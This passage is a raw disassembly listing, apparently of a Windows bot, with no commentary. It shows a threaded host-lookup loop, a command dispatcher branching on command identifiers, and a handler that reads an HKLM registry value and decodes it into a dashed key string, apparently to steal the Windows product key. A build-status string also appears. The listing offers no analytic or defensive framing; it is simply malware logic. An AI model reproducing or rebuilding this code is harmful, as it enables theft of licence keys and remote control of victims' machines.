loc_40752B or [ebp+var_C], 0FFFFFFFFh xor esi, esi xor edi, edi cmp [ebp+var_30], ebx mov [ebp+var_14], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_1C], ebx mov [ebp+var_28], ebx mov [ebp+var_2C], ebx jbe short loc_407482 loc_407424: ; CODE XREF: sub_4072FC+184j cmp esi, ebx jnz short loc_407482 push 20h lea eax, [ebp+var_2C] push [ebp+var_34] push [ebp+arg_0] push eax push [ebp+var_18] call sub_407237 add esp, 14h test eax, eax jz loc_40752B mov eax, [ebp+var_2C] cmp eax, ebx jnz short loc_407476 mov eax, [ebp+var_24] add [ebp+var_1C], eax cmp eax, [ebp+var_C] jnb short loc_40745C mov [ebp+var_C], eax loc_40745C: ; CODE XREF: sub_4072FC+15Bj cmp eax, [ebp+var_4] jbe short loc_40747C mov [ebp+var_4], eax jmp short loc_40747C ; --------------------------------------------------------------------------- loc_407466: ; CODE XREF: sub_4072FC+D3j push offset aCouldNotResolv ; "Could not resolve name" call sub_411778 ; printf pop ecx jmp loc_40752B ; --------------------------------------------------------------------------- loc_407476: ; CODE XREF: sub_4072FC+150j push 1 mov [ebp+var_14], eax pop esi loc_40747C: ; CODE XREF: sub_4072FC+163j ; sub_4072FC+168j inc edi cmp edi, [ebp+var_30] jb short loc_407424 loc_407482: ; CODE XREF: sub_4072FC+126j ; sub_4072FC+12Aj mov eax, [ebp+var_28] cmp [ebp+var_14], ebx mov [ebp+var_10], eax jnz short loc_4074E8 mov eax, [ebp+var_1C] xor edx, edx div [ebp+var_30] push 2 push 4 mov [ebp+var_8], eax lea eax, [ebp+var_10] push eax call dword_412234 ; gethostbyaddr cmp eax, ebx jz loc_407534 movzx ecx, byte ptr [ebp+var_10+3] push ecx movzx ecx, byte ptr [ebp+var_10+2] push ecx movzx ecx, byte ptr [ebp+var_10+1] push ecx movzx ecx, byte ptr [ebp+var_10] push ecx push dword ptr [eax] movzx eax, byte ptr [ebp+arg_0] push [ebp+var_4] push [ebp+var_8] push [ebp+var_C] push eax lea eax, [ebp+var_2D8] push offset dword_41459C push eax call sub_4096CB add esp, 2Ch jmp short loc_40750D ; --------------------------------------------------------------------------- loc_4074E8: ; CODE XREF: sub_4072FC+18Fj movzx eax, byte ptr [ebp+arg_0] push [ebp+var_14] mov [ebp+var_C], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx push eax lea eax, [ebp+var_2D8] push offset dword_414574 push eax call sub_4096CB add esp, 10h loc_40750D: ; CODE XREF: sub_4072FC+1EAj ; sub_4072FC+26Ej mov eax, [ebp+var_18] cmp eax, [ebp+var_10] jnz short loc_40751C mov [ebp+var_20], 1 loc_40751C: ; CODE XREF: sub_4072FC+217j inc byte ptr [ebp+arg_0] mov al, byte ptr [ebp+arg_0] cmp al, [ebp+var_35] jbe loc_4073FC loc_40752B: ; CODE XREF: sub_4072FC+47j ; sub_4072FC+91j ... pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407534: ; CODE XREF: sub_4072FC+1ACj movzx eax, byte ptr [ebp+var_10+3] push eax movzx eax, byte ptr [ebp+var_10+2] push eax movzx eax, byte ptr [ebp+var_10+1] push eax movzx eax, byte ptr [ebp+var_10] push eax push [ebp+var_4] movzx eax, byte ptr [ebp+arg_0] push [ebp+var_8] push [ebp+var_C] push eax lea eax, [ebp+var_2D8] push offset dword_414548 push eax call sub_4096CB add esp, 28h jmp short loc_40750D sub_4072FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40756C proc near ; CODE XREF: sub_407A76+9A3p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push esi push edi xor edi, edi cmp [ebp+arg_4], edi jnz short loc_40758D push offset unk_414620 push [ebp+arg_0] call sub_4096CB pop ecx loc_407587: ; CODE XREF: sub_40756C+E0j pop ecx jmp loc_407658 ; --------------------------------------------------------------------------- loc_40758D: ; CODE XREF: sub_40756C+Bj push 2ACh call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, edi jz loc_407658 push 1A3h push [ebp+arg_0] push esi call sub_4114D0 ; memcpy push [ebp+arg_4] lea eax, [esi+1A3h] push eax call sub_4114B8 ; _mbscpy add esp, 14h cmp [ebp+arg_8], edi jz short loc_4075E2 push [ebp+arg_8] call sub_41151C ; atoi cmp eax, 0FFh pop ecx jg short loc_4075E2 push [ebp+arg_8] call sub_41151C ; atoi pop ecx jmp short loc_4075E5 ; --------------------------------------------------------------------------- loc_4075E2: ; CODE XREF: sub_40756C+59j ; sub_40756C+69j push 1Eh pop eax loc_4075E5: ; CODE XREF: sub_40756C+74j cmp [ebp+arg_C], edi mov [esi+2A3h], al jz short loc_40760B push [ebp+arg_C] call sub_41151C ; atoi cmp eax, 927C0h pop ecx jg short loc_40760B push [ebp+arg_C] call sub_41151C ; atoi pop ecx jmp short loc_407610 ; --------------------------------------------------------------------------- loc_40760B: ; CODE XREF: sub_40756C+82j ; sub_40756C+92j mov eax, 7530h loc_407610: ; CODE XREF: sub_40756C+9Dj cmp [ebp+arg_10], edi mov [esi+2A4h], eax jz short loc_407626 push [ebp+arg_10] call sub_41151C ; atoi pop ecx jmp short loc_407629 ; --------------------------------------------------------------------------- loc_407626: ; CODE XREF: sub_40756C+ADj push 3 pop eax loc_407629: ; CODE XREF: sub_40756C+B8j mov [esi+2A8h], eax lea eax, [ebp+var_4] push eax push edi push esi push offset sub_4072FC push edi push edi call dword_4120BC ; CreateThread cmp eax, edi jnz short loc_407651 push esi call sub_4114CA ; free jmp loc_407587 ; --------------------------------------------------------------------------- loc_407651: ; CODE XREF: sub_40756C+D8j push eax call dword_4120AC ; CloseHandle loc_407658: ; CODE XREF: sub_40756C+1Cj ; sub_40756C+30j pop edi pop esi leave retn sub_40756C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40765C proc near ; CODE XREF: sub_4077A7+2Cp var_1108 = byte ptr -1108h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1108h call sub_411540 push ebx push esi mov esi, [ebp+arg_0] push edi mov ecx, [esi] lea ebx, [esi+4] lea edi, [esi+104h] push ebx push edi lea eax, [esi+204h] push dword ptr [ecx] push offset dword_414674 push eax call sub_4096CB push 2710h push 0 push offset dword_414670 push edi call sub_403C04 mov edi, eax add esp, 24h test edi, edi mov [ebp+var_4], edi jnz short loc_4076B4 xor al, al jmp loc_4077A2 ; --------------------------------------------------------------------------- loc_4076B4: ; CODE XREF: sub_40765C+4Fj push ebx lea eax, [ebp+var_108] push offset dword_414668 push eax call dword_4121EC lea eax, [ebp+var_108] push eax call sub_4114BE ; strlen inc eax push eax lea eax, [ebp+var_108] push eax push edi call sub_403D9D add esp, 1Ch test eax, eax jz loc_407795 lea eax, [ebp+var_1108] push 1000h push eax push edi call sub_403DB2 add esp, 0Ch test eax, eax jz loc_407795 cmp eax, 0FFFFFFFFh jz loc_407795 cmp [ebp+var_1108], 0 lea ebx, [ebp+var_1108] jz short loc_407791 mov edi, offset dword_419678 loc_407727: ; CODE XREF: sub_40765C+133j push ebx call sub_405A76 cmp byte ptr [ebx], 0 pop ecx mov [ebp+arg_0], eax jz short loc_40774A push offset dword_413F54 push ebx call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jz short loc_40774A push ebx jmp short loc_407759 ; --------------------------------------------------------------------------- loc_40774A: ; CODE XREF: sub_40765C+D8j ; sub_40765C+E9j lea eax, [ebp+var_1108] cmp ebx, eax jz short loc_407767 push offset dword_414664 loc_407759: ; CODE XREF: sub_40765C+ECj lea eax, [esi+204h] push eax call sub_4096CB pop ecx pop ecx loc_407767: ; CODE XREF: sub_40765C+F6j push 3E8h call dword_4120A4 ; Sleep push edi call sub_407200 mov eax, [esi] push edi mov ebx, [eax+4] call sub_40720B pop ecx test ebx, ebx pop ecx jnz short loc_407791 mov ebx, [ebp+arg_0] cmp byte ptr [ebx], 0 jnz short loc_407727 loc_407791: ; CODE XREF: sub_40765C+C4j ; sub_40765C+12Bj mov bl, 1 jmp short loc_407797 ; --------------------------------------------------------------------------- loc_407795: ; CODE XREF: sub_40765C+8Bj ; sub_40765C+A8j ... xor bl, bl loc_407797: ; CODE XREF: sub_40765C+137j push [ebp+var_4] call sub_403D70 pop ecx mov al, bl loc_4077A2: ; CODE XREF: sub_40765C+53j pop edi pop esi pop ebx leave retn sub_40765C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4077A7 proc near ; DATA XREF: sub_40780C+87o var_3A8 = dword ptr -3A8h var_2A4 = byte ptr -2A4h var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3A8h push 3A7h lea eax, [ebp+var_3A8] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_3A8] push eax call sub_40765C add esp, 14h test al, al jnz short loc_4077FA lea eax, [ebp+var_2A4] push eax lea eax, [ebp+var_1A4] push offset dword_4146A0 push eax call sub_4096CB add esp, 0Ch loc_4077FA: ; CODE XREF: sub_4077A7+36j push [ebp+var_3A8] call sub_406E6F pop ecx xor eax, eax leave retn 4 sub_4077A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40780C proc near ; CODE XREF: sub_407A76+9C2p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push esi jz loc_4078A0 push 3A7h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_4078A0 push [ebp+arg_4] lea eax, [esi+4] push eax call sub_4114B8 ; _mbscpy cmp [ebp+arg_8], 0 pop ecx pop ecx jz short loc_407852 push [ebp+arg_8] lea eax, [esi+104h] push eax call sub_4114B8 ; _mbscpy pop ecx pop ecx jmp short loc_40786E ; --------------------------------------------------------------------------- loc_407852: ; CODE XREF: sub_40780C+31j push edi lea edi, [esi+104h] push offset dword_4146DC push edi call sub_4114B8 ; _mbscpy push edi call sub_40B5E1 add esp, 0Ch pop edi loc_40786E: ; CODE XREF: sub_40780C+44j push 1A3h lea eax, [esi+204h] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy add esp, 0Ch push [ebp+arg_4] push [ebp+arg_8] push offset dword_4146BC push 0 push esi push offset sub_4077A7 call sub_406D58 add esp, 18h loc_4078A0: ; CODE XREF: sub_40780C+8j ; sub_40780C+1Dj pop esi pop ebp retn sub_40780C endp ; =============== S U B R O U T I N E ======================================= sub_4078A3 proc near ; CODE XREF: sub_4078A3+51p ; sub_40A236+125p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_4078AD: ; CODE XREF: sub_4078A3+1Cj ; sub_4078A3+41j mov dl, [esi] mov cl, [eax] test dl, dl jnz short loc_4078C1 test cl, cl jz short loc_4078E6 cmp cl, 2Ah jnz short loc_407906 inc eax jmp short loc_4078AD ; --------------------------------------------------------------------------- loc_4078C1: ; CODE XREF: sub_4078A3+10j test cl, cl jz short loc_407906 cmp dl, cl jz short loc_4078E2 cmp cl, 3Fh jz short loc_4078E2 cmp cl, 23h jnz short loc_4078EA cmp dl, 30h jl short loc_4078DD cmp dl, 39h jle short loc_4078E2 loc_4078DD: ; CODE XREF: sub_4078A3+33j cmp dl, 23h jnz short loc_407906 loc_4078E2: ; CODE XREF: sub_4078A3+24j ; sub_4078A3+29j ... inc eax inc esi jmp short loc_4078AD ; --------------------------------------------------------------------------- loc_4078E6: ; CODE XREF: sub_4078A3+14j ; sub_4078A3+5Aj mov al, 1 jmp short loc_407908 ; --------------------------------------------------------------------------- loc_4078EA: ; CODE XREF: sub_4078A3+2Ej cmp byte ptr [eax], 2Ah jnz short loc_407906 lea edi, [eax+1] loc_4078F2: ; CODE XREF: sub_4078A3+61j push edi push esi call sub_4078A3 pop ecx test al, al pop ecx jnz short loc_4078E6 cmp [esi], al jz short loc_407906 inc esi jmp short loc_4078F2 ; --------------------------------------------------------------------------- loc_407906: ; CODE XREF: sub_4078A3+19j ; sub_4078A3+20j ... xor al, al loc_407908: ; CODE XREF: sub_4078A3+45j pop edi pop esi retn sub_4078A3 endp ; =============== S U B R O U T I N E ======================================= sub_40790B proc near ; CODE XREF: sub_406EA9+A5p ; sub_406F84+D0p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi mov esi, [esp+8+arg_0] push edi loc_407916: ; CODE XREF: sub_40790B+1Dj ; sub_40790B+61j mov cl, [esi] test cl, cl jnz short loc_40792A mov cl, [eax] test cl, cl jz short loc_40796E cmp cl, 2Ah jnz short loc_40798E inc eax jmp short loc_407916 ; --------------------------------------------------------------------------- loc_40792A: ; CODE XREF: sub_40790B+Fj mov dl, [eax] test dl, dl jz short loc_40798E cmp cl, dl jz short loc_40796A cmp cl, 41h jl short loc_40793E cmp cl, 5Ah jle short loc_407948 loc_40793E: ; CODE XREF: sub_40790B+2Cj cmp cl, 61h jl short loc_407951 cmp cl, 7Ah jg short loc_407951 loc_407948: ; CODE XREF: sub_40790B+31j mov bl, cl xor bl, 20h cmp bl, dl jz short loc_40796A loc_407951: ; CODE XREF: sub_40790B+36j ; sub_40790B+3Bj cmp dl, 3Fh jz short loc_40796A cmp dl, 23h jnz short loc_407972 cmp cl, 30h jl short loc_407965 cmp cl, 39h jle short loc_40796A loc_407965: ; CODE XREF: sub_40790B+53j cmp cl, 23h jnz short loc_40798E loc_40796A: ; CODE XREF: sub_40790B+27j ; sub_40790B+44j ... inc eax inc esi jmp short loc_407916 ; --------------------------------------------------------------------------- loc_40796E: ; CODE XREF: sub_40790B+15j ; sub_40790B+7Aj mov al, 1 jmp short loc_407990 ; --------------------------------------------------------------------------- loc_407972: ; CODE XREF: sub_40790B+4Ej cmp byte ptr [eax], 2Ah jnz short loc_40798E lea edi, [eax+1] loc_40797A: ; CODE XREF: sub_40790B+81j push edi push esi call sub_40790B pop ecx test al, al pop ecx jnz short loc_40796E cmp [esi], al jz short loc_40798E inc esi jmp short loc_40797A ; --------------------------------------------------------------------------- loc_40798E: ; CODE XREF: sub_40790B+1Aj ; sub_40790B+23j ... xor al, al loc_407990: ; CODE XREF: sub_40790B+65j pop edi pop esi pop ebx retn sub_40790B endp ; =============== S U B R O U T I N E ======================================= sub_407994 proc near ; CODE XREF: sub_4079AC+A4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push 1 test ecx, ecx pop eax jz short locret_4079AB cmp ecx, eax jl short locret_4079AB loc_4079A3: ; CODE XREF: sub_407994+15j imul eax, [esp+arg_0] dec ecx jnz short loc_4079A3 locret_4079AB: ; CODE XREF: sub_407994+9j ; sub_407994+Dj retn sub_407994 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4079AC proc near ; CODE XREF: sub_40495C+27p ; sub_407A76+EDCp ... var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov esi, offset aAbcdef ; "abcdef" lea edi, [ebp+var_18] xor ebx, ebx movsd movsw movsb mov esi, [ebp+arg_0] mov [ebp+var_4], ebx mov [ebp+var_8], ebx cmp byte ptr [esi], 30h jnz short loc_4079E2 mov al, [esi+1] push 1 cmp al, 78h pop ebx jz short loc_4079DF cmp al, 58h jnz short loc_4079E2 loc_4079DF: ; CODE XREF: sub_4079AC+2Dj push 2 pop ebx loc_4079E2: ; CODE XREF: sub_4079AC+23j ; sub_4079AC+31j push esi call sub_4114BE ; strlen mov edi, eax pop ecx cmp ebx, edi mov [ebp+var_10], edi mov [ebp+arg_0], ebx jge short loc_407A6A sub edi, ebx dec edi loc_4079F8: ; CODE XREF: sub_4079AC+BCj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+esi] push eax call sub_411784 ; tolower cmp eax, 30h pop ecx mov [ebp+var_C], eax jl short loc_407A1B cmp eax, 39h jg short loc_407A1B add eax, 0FFFFFFD0h mov [ebp+var_4], eax jmp short loc_407A4D ; --------------------------------------------------------------------------- loc_407A1B: ; CODE XREF: sub_4079AC+60j ; sub_4079AC+65j cmp eax, 61h jl short loc_407A72 cmp eax, 66h jg short loc_407A72 mov dl, [ebp+var_18] test dl, dl jz short loc_407A4D push 0Ah lea eax, [ebp+var_18] pop ebx lea ecx, [ebp+var_18] sub ebx, eax loc_407A37: ; CODE XREF: sub_4079AC+9Fj movsx eax, dl cmp [ebp+var_C], eax jnz short loc_407A45 lea eax, [ebx+ecx] mov [ebp+var_4], eax loc_407A45: ; CODE XREF: sub_4079AC+91j mov dl, [ecx+1] inc ecx test dl, dl jnz short loc_407A37 loc_407A4D: ; CODE XREF: sub_4079AC+6Dj ; sub_4079AC+7Ej push edi push 10h call sub_407994 imul eax, [ebp+var_4] add [ebp+var_8], eax inc [ebp+arg_0] mov eax, [ebp+arg_0] pop ecx dec edi cmp eax, [ebp+var_10] pop ecx jl short loc_4079F8 loc_407A6A: ; CODE XREF: sub_4079AC+47j mov eax, [ebp+var_8] loc_407A6D: ; CODE XREF: sub_4079AC+C8j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_407A72: ; CODE XREF: sub_4079AC+72j ; sub_4079AC+77j xor eax, eax jmp short loc_407A6D sub_4079AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A76 proc near ; CODE XREF: sub_409918+911p var_59E4 = byte ptr -59E4h var_19E4 = byte ptr -19E4h var_9E4 = byte ptr -9E4h var_5E0 = byte ptr -5E0h var_560 = byte ptr -560h var_3E3 = byte ptr -3E3h var_3E0 = byte ptr -3E0h var_364 = byte ptr -364h var_328 = byte ptr -328h var_2F4 = byte ptr -2F4h var_260 = byte ptr -260h var_22C = byte ptr -22Ch var_228 = byte ptr -228h var_208 = byte ptr -208h var_1E7 = byte ptr -1E7h var_E7 = dword ptr -0E7h var_E3 = byte ptr -0E3h var_7D = byte ptr -7Dh var_6F = byte ptr -6Fh var_6C = byte ptr -6Ch var_69 = dword ptr -69h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5B = byte ptr -5Bh var_56 = byte ptr -56h var_51 = byte ptr -51h var_4C = byte ptr -4Ch var_47 = byte ptr -47h var_40 = byte ptr -40h var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_35 = byte ptr -35h var_34 = byte ptr -34h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_29 = byte ptr -29h var_28 = byte ptr -28h var_23 = byte ptr -23h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, 59E4h call sub_411540 push ebx push esi mov esi, [ebp+arg_14] push edi push dword ptr [esi] call sub_40A64A push [ebp+arg_0] mov edi, eax lea eax, [ebp+var_208] push eax call sub_4114B8 ; _mbscpy push [ebp+arg_8] lea eax, [ebp+var_1E7] push eax call sub_4114B8 ; _mbscpy mov eax, [ebp+arg_C] push 7Ah push [ebp+arg_10] mov [ebp+var_E7], eax lea eax, [ebp+var_E3] push eax call sub_4114D0 ; memcpy add esp, 20h cmp edi, dword_414F20 push 1 pop eax mov [ebp+var_69], eax jnz short loc_407AEC lea eax, [ebp+var_208] push eax call sub_41094B jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407AEC: ; CODE XREF: sub_407A76+63j cmp edi, dword_414F14 jnz short loc_407B31 mov eax, [esi+4] test eax, eax jnz short loc_407B25 lea eax, [ebp+var_22C] push eax lea eax, [ebp+var_64] push eax lea eax, [ebp+var_40] push eax call sub_404A70 add esp, 0Ch lea eax, [ebp+var_40] push eax loc_407B16: ; CODE XREF: sub_407A76+B9j push offset dword_414F0C loc_407B1B: ; CODE XREF: sub_407A76+A7Bj ; sub_407A76+BABj call sub_4097DB jmp loc_408D2E ; --------------------------------------------------------------------------- loc_407B25: ; CODE XREF: sub_407A76+83j push eax call sub_4098C7 pop ecx push dword ptr [esi+4] jmp short loc_407B16 ; --------------------------------------------------------------------------- loc_407B31: ; CODE XREF: sub_407A76+7Cj cmp edi, dword_414F00 jnz short loc_407B6B lea eax, [ebp+var_5E0] push 200h push eax call dword_4121F4 push eax call dword_4121F0 test eax, eax jle loc_408D69 lea eax, [ebp+var_5E0] push eax push offset dword_414EE4 jmp loc_40835E ; --------------------------------------------------------------------------- loc_407B6B: ; CODE XREF: sub_407A76+C1j cmp edi, dword_414ED8 jnz short loc_407B8A push dword ptr [esi+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_4057ED jmp loc_40836A ; --------------------------------------------------------------------------- loc_407B8A: ; CODE XREF: sub_407A76+FBj cmp edi, dword_414ECC jnz loc_407C5E mov eax, [ebp+arg_18] xor ebx, ebx mov eax, [eax+4] cmp eax, ebx jz loc_408D69 push 180h push eax lea eax, [ebp+var_3E0] push eax call sub_4059C2 lea eax, [ebp+var_3E0] push eax call sub_4114BE ; strlen mov esi, eax add esp, 10h cmp esi, 3 jle short loc_407C04 lea edi, [ebp+esi+var_3E3] push offset dword_414EC8 push edi call sub_41177E ; strcmp pop ecx test eax, eax pop ecx jnz short loc_407C04 lea eax, [ebp+var_3E0] mov [edi], bl push eax call sub_4058B8 lea eax, [ebp+var_3E0] push eax call sub_4114BE ; strlen pop ecx mov esi, eax pop ecx loc_407C04: ; CODE XREF: sub_407A76+156j ; sub_407A76+16Ej mov eax, esi push 4 cdq pop ecx idiv ecx mov ecx, esi sub ecx, eax cmp ecx, 180h ja loc_408D69 lea eax, [ebp+var_3E0] push esi push eax call sub_40A798 lea eax, [ebp+var_3E0] push esi push eax call sub_40A7C4 push eax lea eax, [ebp+var_560] push eax lea eax, [ebp+var_3E0] push eax call sub_40A51A add esp, 1Ch lea eax, [ebp+var_560] push eax push offset dword_414EA4 jmp loc_40835E ; --------------------------------------------------------------------------- loc_407C5E: ; CODE XREF: sub_407A76+11Aj cmp edi, dword_414E98 jnz loc_407CFC mov esi, [ebp+arg_18] xor ebx, ebx mov eax, [esi+4] cmp eax, ebx jz loc_408D69 cmp byte ptr [eax], 3Dh jnz loc_408D69 inc eax push eax call sub_40A5D0 test eax, eax pop ecx jz loc_408D69 mov eax, [esi+4] inc eax push eax call sub_4114BE ; strlen pop ecx mov ecx, eax push 4 cdq pop edi idiv edi sub ecx, eax cmp ecx, 180h ja loc_408D69 lea eax, [ebp+var_3E0] push eax mov eax, [esi+4] inc eax push eax call sub_40A44E push eax lea eax, [ebp+var_3E0] push eax call sub_40A82E mov esi, eax lea eax, [ebp+var_3E0] push esi push eax call sub_40A7AE add esp, 18h lea eax, [ebp+var_3E0] mov [ebp+esi+var_3E0], bl push eax push offset dword_414E78 jmp loc_40835E ; --------------------------------------------------------------------------- loc_407CFC: ; CODE XREF: sub_407A76+1EEj cmp edi, dword_414E68 jnz short loc_407D18 push dword ptr [esi+4] lea eax, [ebp+var_208] push eax call sub_404A33 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_407D18: ; CODE XREF: sub_407A76+28Cj cmp edi, dword_414E58 jnz short loc_407D31 lea eax, [ebp+var_208] push eax call sub_40491E jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407D31: ; CODE XREF: sub_407A76+2A8j cmp edi, dword_414E50 jnz loc_407EE1 push 0Ch mov esi, offset dword_414E1C pop ecx lea edi, [ebp+var_260] rep movsd movsb push 5 mov esi, offset dword_414E04 pop ecx lea edi, [ebp+var_18] rep movsd lea eax, [ebp+var_260] xor ebx, ebx push eax mov [ebp+arg_18], ebx mov [ebp+arg_8], 0C8h movsb call sub_40B5E1 pop ecx lea eax, [ebp+arg_18] push eax push 20019h lea eax, [ebp+var_260] push ebx push eax push 80000002h call dword_412000 test eax, eax lea eax, [ebp+var_260] push eax jnz short loc_407DCE call sub_40B5A8 lea eax, [ebp+var_18] push eax call sub_40B5E1 pop ecx lea eax, [ebp+arg_8] pop ecx push eax lea eax, [ebp+var_328] push eax push ebx lea eax, [ebp+var_18] push ebx push eax push [ebp+arg_18] call dword_41200C test eax, eax lea eax, [ebp+var_18] push eax jz short loc_407DEB loc_407DCE: ; CODE XREF: sub_407A76+324j call sub_40B5A8 cmp [ebp+arg_18], ebx pop ecx jz loc_408D69 push [ebp+arg_18] call dword_412028 jmp loc_408D69 ; --------------------------------------------------------------------------- loc_407DEB: ; CODE XREF: sub_407A76+356j call sub_40B5A8 pop ecx push [ebp+arg_18] call dword_412028 push 7 mov esi, offset dword_414DE4 pop ecx lea edi, [ebp+var_228] rep movsd lea eax, [ebp+var_228] push eax movsb call sub_40B5E1 pop ecx mov [ebp+var_47], bl mov [ebp+arg_0], 18h loc_407E22: ; CODE XREF: sub_407A76+3F0j xor edx, edx mov [ebp+arg_14], 0Eh loc_407E2B: ; CODE XREF: sub_407A76+3DDj mov eax, [ebp+arg_14] mov ecx, edx shl ecx, 8 lea esi, [ebp+eax+var_2F4] push 18h pop edi movzx eax, byte ptr [esi] add ecx, eax push edi mov eax, ecx cdq idiv edi mov [esi], al mov eax, ecx cdq pop ecx idiv ecx dec [ebp+arg_14] jns short loc_407E2B mov ecx, [ebp+arg_0] mov al, [ebp+edx+var_228] dec [ebp+arg_0] mov [ebp+ecx+var_60], al jns short loc_407E22 lea eax, [ebp+var_228] push eax call sub_40B5A8 push 5 lea eax, [ebp+var_60] pop esi mov [ebp+var_23], bl push esi push eax lea eax, [ebp+var_40] mov [ebp+var_29], 2Dh push eax mov [ebp+var_2F], 2Dh mov [ebp+var_35], 2Dh mov [ebp+var_3B], 2Dh call sub_4114D0 ; memcpy lea eax, [ebp+var_5B] push esi push eax lea eax, [ebp+var_3A] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_56] push esi push eax lea eax, [ebp+var_34] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_51] push esi push eax lea eax, [ebp+var_2E] push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_4C] push esi push eax lea eax, [ebp+var_28] push eax call sub_4114D0 ; memcpy add esp, 40h lea eax, [ebp+var_40] push eax push offset dword_413B6C jmp loc_40835E ; --------------------------------------------------------------------------- loc_407EE1: ; CODE XREF: sub_407A76+2C1j cmp edi, dword_414DD4 jnz short loc_407F31 xor ebx, ebx mov [ebp+var_6C], 1 cmp [ebp+var_7D], bl jz short loc_407F05 lea eax, [ebp+var_208] push eax call sub_40DE4C jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407F05: ; CODE XREF: sub_407A76+47Cj cmp [ebp+var_6F], bl lea eax, [ebp+var_208] push eax jz short loc_407F1B call sub_40E243 jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407F1B: ; CODE XREF: sub_407A76+499j call sub_40DE4C lea eax, [ebp+var_208] push eax call sub_40E243 jmp loc_408D2E ; --------------------------------------------------------------------------- loc_407F31: ; CODE XREF: sub_407A76+471j cmp edi, dword_414DC4 jnz short loc_407F4A lea eax, [ebp+var_208] push eax call sub_4101AE jmp loc_408D68 ; --------------------------------------------------------------------------- loc_407F4A: ; CODE XREF: sub_407A76+4C1j cmp edi, dword_414DB8 jnz loc_407FDA push 8 mov esi, offset dword_414D94 pop ecx lea edi, [ebp+var_40] rep movsd movsb mov edx, off_418E20 mov esi, offset dword_414D8C lea edi, [ebp+var_C] xor eax, eax movsd movsw mov cl, [ebp+var_C] mov edi, offset dword_414D80 cmp cl, [edx] setz al xor ebx, ebx cmp eax, ebx jnz short loc_407F8F mov edi, offset dword_414D70 loc_407F8F: ; CODE XREF: sub_407A76+512j cmp eax, ebx mov esi, offset aThisBuildIsFul ; "This build is fully functional" jnz short loc_407F9D mov esi, offset aThisBuildIsBro ; "This build is broken and will not funct"... loc_407F9D: ; CODE XREF: sub_407A76+520j lea eax, [ebp+var_40] push eax call sub_40B5E1 mov eax, dword_419FD0 pop ecx push esi and eax, 0FFFFh push edi push eax movzx eax, byte ptr dword_418E00 push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_208] push eax call sub_4096CB lea eax, [ebp+var_40] push eax call sub_40B5A8 jmp loc_40898E ; --------------------------------------------------------------------------- loc_407FDA: ; CODE XREF: sub_407A76+4DAj cmp edi, dword_414D10 jnz short loc_408002 push dword ptr [esi+14h] lea eax, [ebp+var_208] push dword ptr [esi+10h] push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] push eax call sub_4044AA jmp loc_408235 ; --------------------------------------------------------------------------- loc_408002: ; CODE XREF: sub_407A76+56Aj cmp edi, dword_414D04 jnz short loc_408026 mov eax, [ebp+arg_18] add esi, 4 add eax, 4 push eax lea eax, [ebp+var_208] push esi push eax call sub_4111DB jmp loc_40836A ; --------------------------------------------------------------------------- loc_408026: ; CODE XREF: sub_407A76+592j cmp edi, dword_414CF8 jz loc_408D5D cmp edi, dword_414CEC jz loc_408D5D cmp edi, dword_414CDC jnz short loc_40805D push dword ptr [esi+8] lea eax, [ebp+var_208] push dword ptr [esi+4] push eax call sub_4027CB jmp loc_40836A ; --------------------------------------------------------------------------- loc_40805D: ; CODE XREF: sub_407A76+5CEj cmp edi, 